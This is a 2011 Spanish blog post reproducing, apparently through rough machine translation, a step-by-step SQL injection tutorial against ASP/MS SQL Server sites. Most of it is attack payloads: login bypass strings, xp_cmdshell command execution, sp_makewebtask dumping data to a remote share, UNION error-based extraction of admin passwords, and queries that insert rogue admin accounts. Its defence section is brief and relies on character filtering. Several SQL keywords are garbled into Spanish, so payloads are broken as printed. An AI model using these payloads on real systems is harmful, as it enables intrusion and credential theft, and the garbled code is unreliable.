miércoles, 20 de julio de 2011

SQL injeccion

Saludos Mundo libre.



SQL Tutorial de inyección

 
Resumen
El siguiente artículo tratará de ayudar a los principiantes a comprender los problemas que enfrentan al tratar de utilizar técnicas de inyección de SQL, para utilizarlas con éxito, y para protegerse de estos ataques.
 
Crédito:Esta información ha sido proporcionada por SK.
Seguridad del sitio web del Código Análisis de vulnerabilidades de Red de Evaluación de la herramientaDetectar las vulnerabilidades ocultas exhaustiva de pruebas automatizadas en tiempo real, la seguridad continuaRecibir orientación de los profesionales del código interno del partido o de tercero. la exploración de toda la red



 
DetallesLa protección de inyección SQL es fácil!Utilizar un escáner de vulnerabilidad externa!No hay nada que instalar. Mantenimiento cero. Seguridad total!www.beyondsecurity.com / sql-injection.html 1.0 IntroducciónCuando un equipo tiene sólo el puerto 80 abierto, la mayoría de su escáner de confianza vulnerabilidad no se puede volver algo útil, y usted sabe que la administración de parches siempre su servidor, tenemos que recurrir a la piratería de Internet. La inyección SQL es un tipo de piratería de Internet que no requieren más que el puerto 80 y que posiblemente funcionará incluso si el administrador es el parche-feliz. Que los ataques a la aplicación web (como ASP, JSP, PHP, CGI, etc) en lugar de sí mismo en el servidor web o servicios que se ejecutan en el sistema operativo.
Este artículo no introduce nada nuevo, de inyección de SQL ha sido ampliamente utilizado y por escrito en la naturaleza. Se escribió el artículo, porque nos gustaría documentar algunos de nuestros pen-test mediante inyección de SQL y la esperanza de que pueda ser de alguna utilidad a los demás. Usted puede encontrar un truco o dos, pero por favor, consulte el "9.0 ¿Dónde puedo obtener más información?" para las personas que realmente merecen el crédito para el desarrollo de muchas técnicas de inyección SQL.
1.1 ¿Qué es la inyección de SQL?Es un truco para inyectar consulta SQL / comando como entrada, posiblemente a través de páginas web. Muchas páginas web utilizan parámetros de usuario de la web, y hacer consultas SQL a la base de datos. Tomemos, por ejemplo, cuando un inicio de sesión de usuario, una página web que el nombre de usuario y contraseña y hacer consultas SQL a la base de datos para comprobar si un usuario tiene un nombre y una contraseña válidos. Con la inyección de SQL, es posible que nos envíe el nombre de usuario creado y / o campo de contraseña que va a cambiar la consulta SQL y por lo tanto nos conceda algo más.
1.2 ¿Qué se necesita?Cualquier navegador web.
2.0 Lo que usted debe tener en cuenta?Trate de buscar las páginas que le permiten presentar los datos, es decir: página de inicio de sesión, la página de búsqueda, captación, etc A veces, las páginas HTML utilizar el comando POST para enviar los parámetros a otra página ASP. Por lo tanto, usted no puede ver los parámetros en la URL. Sin embargo, se puede comprobar el código fuente del HTML, y buscar "FORMULARIO" etiqueta en el código HTML. Usted puede encontrar algo como esto en algunos códigos HTML:


Todo entre los y tienen parámetros potenciales que pueden ser útiles (explotación racional).

2.1 ¿Qué pasa si usted no puede encontrar ninguna página que toma de entrada?Usted debe buscar páginas como ASP, JSP, CGI, PHP o páginas web. Trate de buscar especialmente para los URL que toma parámetros, tales como:
http://duck/index.asp?id=10
3.0 ¿Cómo se prueba si se es vulnerable?Comience con un truco de cotización. Entrada de algo así como:
hola 'OR 1 = 1 -
En inicio de sesión o contraseña, o incluso en la URL. Ejemplo:
 
- Login: hola 'OR 1 = 1 -
 
- Pass: hola 'OR 1 = 1 -
 
- Http://duck/index.asp?id=hi 'OR 1 = 1 -
Si usted tiene que hacer esto con un campo oculto, sólo tiene que descargar el código fuente HTML de la página, guardarla en tu disco duro, modificar la dirección URL y el campo oculto en consecuencia. Ejemplo:


Si la suerte está de su lado, tendrá acceso sin ningún tipo de nombre de usuario o contraseña.
3.1 ¿Por qué 'OR 1 = 1 -?Veamos otro ejemplo de por qué 'OR 1 = 1 - es importante.Aparte de pasar por sesión, también es posible ver la información adicional que normalmente no está disponible. Tener una página ASP que te enlace a otra página con la siguiente URL:
http://duck/index.asp?category=food
En la URL, "categoría" es el nombre de la variable, y "comida" es el valor asignado a la variable. Con el fin de hacer eso, un ASP puede contener el siguiente código (OK, este es el código real que hemos creado para este ejercicio):
v_cat = Request ("categoría")sqlstr = "SELECT * FROM productos DONDE PCategory = '" & v_cat & "'"set rs = conn.Execute (sqlstr)
Como podemos ver, nuestra variable será envuelto en v_cat y por lo tanto la sentencia SQL se debe:
SELECT * FROM productos DONDE "alimento" PCategory =
La consulta debería devolver un conjunto de resultados que contienen uno o más filas que coinciden con la condición WHERE, en este caso, «alimento».
Ahora, supongamos que podemos cambiar la dirección URL en algo como esto:
http://duck/index.asp?category=food 'OR 1 = 1 -
Ahora, nuestra v_cat variable es igual a "alimentos" o 1 = 1 - ", si sustituimos esto en la consulta SQL, tendremos:
SELECT * FROM productos DONDE PCategory = "comida" o 1 = 1 - '
La consulta ahora debe ahora seleccionar todo, desde la tabla de productos, independientemente de si PCategory es igual a "comida" o no. Un guión doble "-" decir MS SQL server ignorar el resto de la consulta, lo que deshacerse de la última cita colgantes simples ('). A veces, puede ser posible reemplazar guión doble con hash único "#".
Sin embargo, si no es un servidor SQL, o simplemente no puede ignorar el resto de la consulta, también se pueden tratar
'O' a '=' a
La consulta SQL se convertirá ahora en:
SELECT * FROM productos DONDE PCategory = 'alimentos' o 'a' = 'a'
Debe devolver el mismo resultado.
Dependiendo de la actual consulta SQL, es posible que tenga que probar algunas de estas posibilidades:
'OR 1 = 1 -"OR 1 = 1 -o 1 = 1 -'O' a '=' a"O" a "=" a") O ('a' = 'a
4.0 ¿Cómo puedo obtener la ejecución remota de inyección SQL?Ser capaz de inyectar comandos SQL suele decir, podemos ejecutar cualquier consulta SQL a voluntad. Instalación por defecto de MS SQL Server se ejecuta como SYSTEM, lo que equivale al acceso de administrador en Windows. Podemos utilizar procedimientos almacenados como maestro .. xp_cmdshell para realizar ejecución remota:
; Ejecutivo principal .. xp_cmdshell 'ping 10.10.1.2 -
Trate de usar comillas (") si comilla simple (') no está funcionando.
El punto y coma pondrá fin a la actual consulta SQL y por lo tanto le permiten iniciar un nuevo comando SQL. Para verificar que el comando se ha ejecutado correctamente, se puede escuchar a un paquete ICMP de 10.10.1.2, compruebe si hay algún paquete desde el servidor:
# Tcpdump icmp
Si usted no recibe ninguna solicitud de ping desde el servidor, y obtener un mensaje de error indicando error de permiso, es posible que el administrador ha limitado el acceso del usuario a la Web de estos procedimientos almacenados.
5.0 ¿Cómo obtener una salida de mi consulta SQL?Es posible utilizar sp_makewebtask para escribir su consulta en un archivo HTML:
; EXEC master .. sp_makewebtask "\ \ 10.10.1.3 \ share \ output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
Pero la IP de destino debe carpeta "compartir" el intercambio de todo el mundo.
6.0 Cómo obtener los datos de la base de datos con un mensaje de error ODBCPodemos utilizar la información de mensaje de error producido por el servidor de MS SQL para obtener los datos de casi todos los que queremos. Tome la siguiente página, por ejemplo:
http://duck/index.asp?id=10
Vamos a tratar de UNION el entero 10 "con otra cadena de la base de datos:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME DE INFORMATION_SCHEMA.TABLES--
El INFORMATION_SCHEMA.TABLES tabla del sistema contiene información de todas las tablas en el servidor. El campo TABLE_NAME, obviamente, contiene el nombre de cada tabla en la base de datos. Fue elegida porque sabemos que siempre existe. Nuestra consulta:
SELECT TOP 1 TABLE_NAME DE INFORMATION_SCHEMA.TABLES-
Esto debería devolver el nombre de la tabla por primera vez en la base de datos. Cuando UNIÓN este valor de cadena a un entero de 10, MS SQL Server a tratar de convertir una cadena (nvarchar) a un entero. Esto producirá un error, ya que no podemos convertir nvarchar a int. El servidor mostrará el siguiente error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07 '[Microsoft] [ODBC SQL Server Driver] [SQL Server] Error de sintaxis al convertir 'tabla1' el valor nvarchar a una columna de tipo de datos int./ Index.asp, línea 5
El mensaje de error es lo suficientemente agradable para decirnos el valor que no se puede convertir en un entero. En este caso, hemos obtenido el nombre de la tabla por primera vez en la base de datos, que es "tabla1".
Para obtener el nombre de la tabla siguiente, podemos utilizar la siguiente consulta:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME INFORMATION_SCHEMA.TABLES DE DONDE TABLE_NAME NO IN ('tabla1') -
También puede buscar datos con LIKE palabra clave:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME DE INFORMATION_SCHEMA.TABLES donde table_name LIKE '%% 25login 25' -
Salida:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07 '[Microsoft] [ODBC SQL Server Driver] [SQL Server] Error de sintaxis al convertir 'admin_login "el valor nvarchar a una columna de tipo de datos int./ Index.asp, línea 5
La patente correspondiente, '%% 25login 25' será visto como%% inicio de sesión en SQL Server. En este caso, vamos a obtener el nombre de la primera tabla que coincide con el criterio ", admin_login".
6.1 ¿Cómo a la mía todos los nombres de las columnas de una tabla?Podemos usar otra tabla INFORMATION_SCHEMA.COLUMNS útil para planificar todos los nombres de columnas de una tabla:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME DE INFORMATION_SCHEMA.COLUMNS donde table_name = 'admin_login' -
Salida:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07 '[Microsoft] [ODBC SQL Server Driver] [SQL Server] Error de sintaxis al convertir 'login_id "el valor nvarchar a una columna de tipo de datos int./ Index.asp, línea 5
Ahora que tenemos el nombre de la primera columna, que no puede usar en () para obtener el nombre de la columna siguiente:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME DE INFORMATION_SCHEMA.COLUMNS donde table_name = 'admin_login' DONDE NO COLUMN_NAME IN ('login_id') -
Salida:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07 '[Microsoft] [ODBC SQL Server Driver] [SQL Server] Error de sintaxis al convertir 'login_name' el valor nvarchar a una columna de tipo de datos int./ Index.asp, línea 5
Cuando continúe, se obtuvo el resto del nombre de la columna, es decir, "password", "detalles". Sabemos esto cuando el mensaje de error siguientes:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME DE INFORMATION_SCHEMA.COLUMNS donde table_name = 'admin_login' DONDE NO COLUMN_NAME IN ('login_id', 'login_name', 'password', detalles ') -
Salida:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14 '[Microsoft] [ODBC SQL Server Driver] [SQL Server] elementos ORDER BY deben aparecer en la lista de selección si la instrucción contiene un operador UNION./ Index.asp, línea 5
6.2 Cómo recuperar todos los datos que queremos?Ahora que hemos identificado algunos cuadros importantes, y su columna, podemos usar la misma técnica para recopilar toda la información que queremos de la base de datos.
Ahora, vamos a obtener el login_name primero de la "admin_login" tabla:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name DE admin_login -
Salida:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07 '[Microsoft] [ODBC SQL Server Driver] [SQL Server] Error de sintaxis al convertir "neo" el valor nvarchar a una columna de tipo de datos int./ Index.asp, línea 5
Ahora sabemos que hay un usuario administrador con el nombre de usuario de "neo". Por último, para obtener la contraseña de "neo" a partir de la base de datos:
http://duck/index.asp?id=10 UNION SELECT TOP 1 contraseña de admin_login donde login_name = 'neo' -
Salida:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07 '[Microsoft] [ODBC SQL Server Driver] [SQL Server] Error de sintaxis al convertir 'm4trix "el valor nvarchar a una columna de tipo de datos int./ Index.asp, línea 5
Ahora podemos iniciar la sesión como "neo" con su contraseña "m4trix".
6.3 Cómo obtener el valor de cadena numérica?No hay limitación con la técnica descrita anteriormente. No podemos conseguir cualquier mensaje de error si estamos tratando de convertir el texto que consta de número válido (caracteres entre 0-9 solamente). Digamos que estamos tratando de obtener la contraseña de la "trinidad" que es "31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 contraseña de admin_login donde login_name = 'trinity' -
Probablemente vamos a tener una "Página no encontrada" error.La razón es que la contraseña "31173" se convertirá en una serie, antes de la unión con un número entero (10 en este caso).Ya que es una instrucción UNION válida, SQL Server no lanzará un mensaje de error ODBC, y por lo tanto, no será capaz de recuperar cualquier entrada numérica.
Para resolver este problema, se puede añadir la cadena numérica con algunos alfabetos para asegurarse de que la conversión no. Vamos a tratar de esta consulta en su lugar:
http://duck/index.asp?id=10 UNION SELECT TOP 1 conversión ("20morpheus% 'int, 2b% password) DE admin_login donde login_name =' trinity' -
Basta con utilizar un signo más (+) para añadir la contraseña con cualquier texto que queremos. (Código ASSCII de '+' = 0x2B).Vamos a añadir '(espacio) de Morfeo en la contraseña real. Por lo tanto, incluso si tenemos una cadena numérica '31173 ', se convertirá en '31173 Morfeo. Manualmente llamando a la función CONVERT (), tratando de convertir a '31173 morpheus 'en un entero, SQL Server lanzar un mensaje de error ODBC:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07 '[Microsoft] [ODBC SQL Server Driver] [SQL Server] Error de sintaxis al convertir "el valor nvarchar '31173 morpheus a una columna de tipo de datos int./ Index.asp, línea 5
Ahora, incluso se puede iniciar la sesión como "trinidad" con la "contraseña '31173.
7.0 Cómo actualizar / insertar datos en la base de datos?Cuando hemos logrado reunir todos los nombres de columna de una tabla, es posible para nosotros para actualizar o insertar hasta un nuevo récord en la tabla. Por ejemplo, para cambiar la contraseña de "neo":
http://duck/index.asp?id=10; SET 'admin_login' UPDATE 'password' = 'newpas5 "donde neo' login_name =' -
Para insertar un nuevo registro en la base de datos:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'Detalles') VALUES (666, 'Neo2', 'newpas5', 'NA ') -
Ahora podemos iniciar la sesión como "neo2" con la contraseña de "newpas5".
8.0 ¿Cómo evitar la inyección de SQL?Filtrar los caracteres como comillas simples, comillas dobles, barra, barra invertida, punto y coma, el carácter extendido como NULL, llevar a cambio, la nueva línea, etc, en todas las cadenas desde:
 
- Las aportaciones de los usuarios
 
- Parámetros de URL
 
- Los valores de cookies
Por el valor numérico, lo convierten en un número entero antes de analizarlo en la instrucción SQL. O el uso de ISNUMERIC para asegurarse de que es un número entero.
Cambiar "Puesta en marcha y ejecutar SQL Server" con el usuario con pocos privilegios en la ficha de seguridad de SQL Server.
Eliminar procedimientos almacenados que no se utiliza como:
master .. xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0 ¿Dónde puedo obtener más información?Uno de los primeros trabajos sobre la inyección SQL que nos hemos encontrado debe ser el papel de perrito Rain Forest acerca de cómo se cortó Packetstorm.http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
Gran artículo sobre la recopilación de información de los mensajes de error ODBC:http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
Un buen resumen de la inyección de SQL en SQL Server en varioshttp://www.owasp.org/asac/input_validation/sql.shtml
Artículo Senseport en la lectura de la inyección de SQL:http://www.sensepost.com/misc/SQLinsertion.htm
Otras lecturas de la pena:http://www.digitaloffense.net/wargames01/IOWargames.ppthttp://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf








Fuente: 


Traduccion: Dellcom1@.

Saludos Mundo Libre.

No hay comentarios:

Publicar un comentario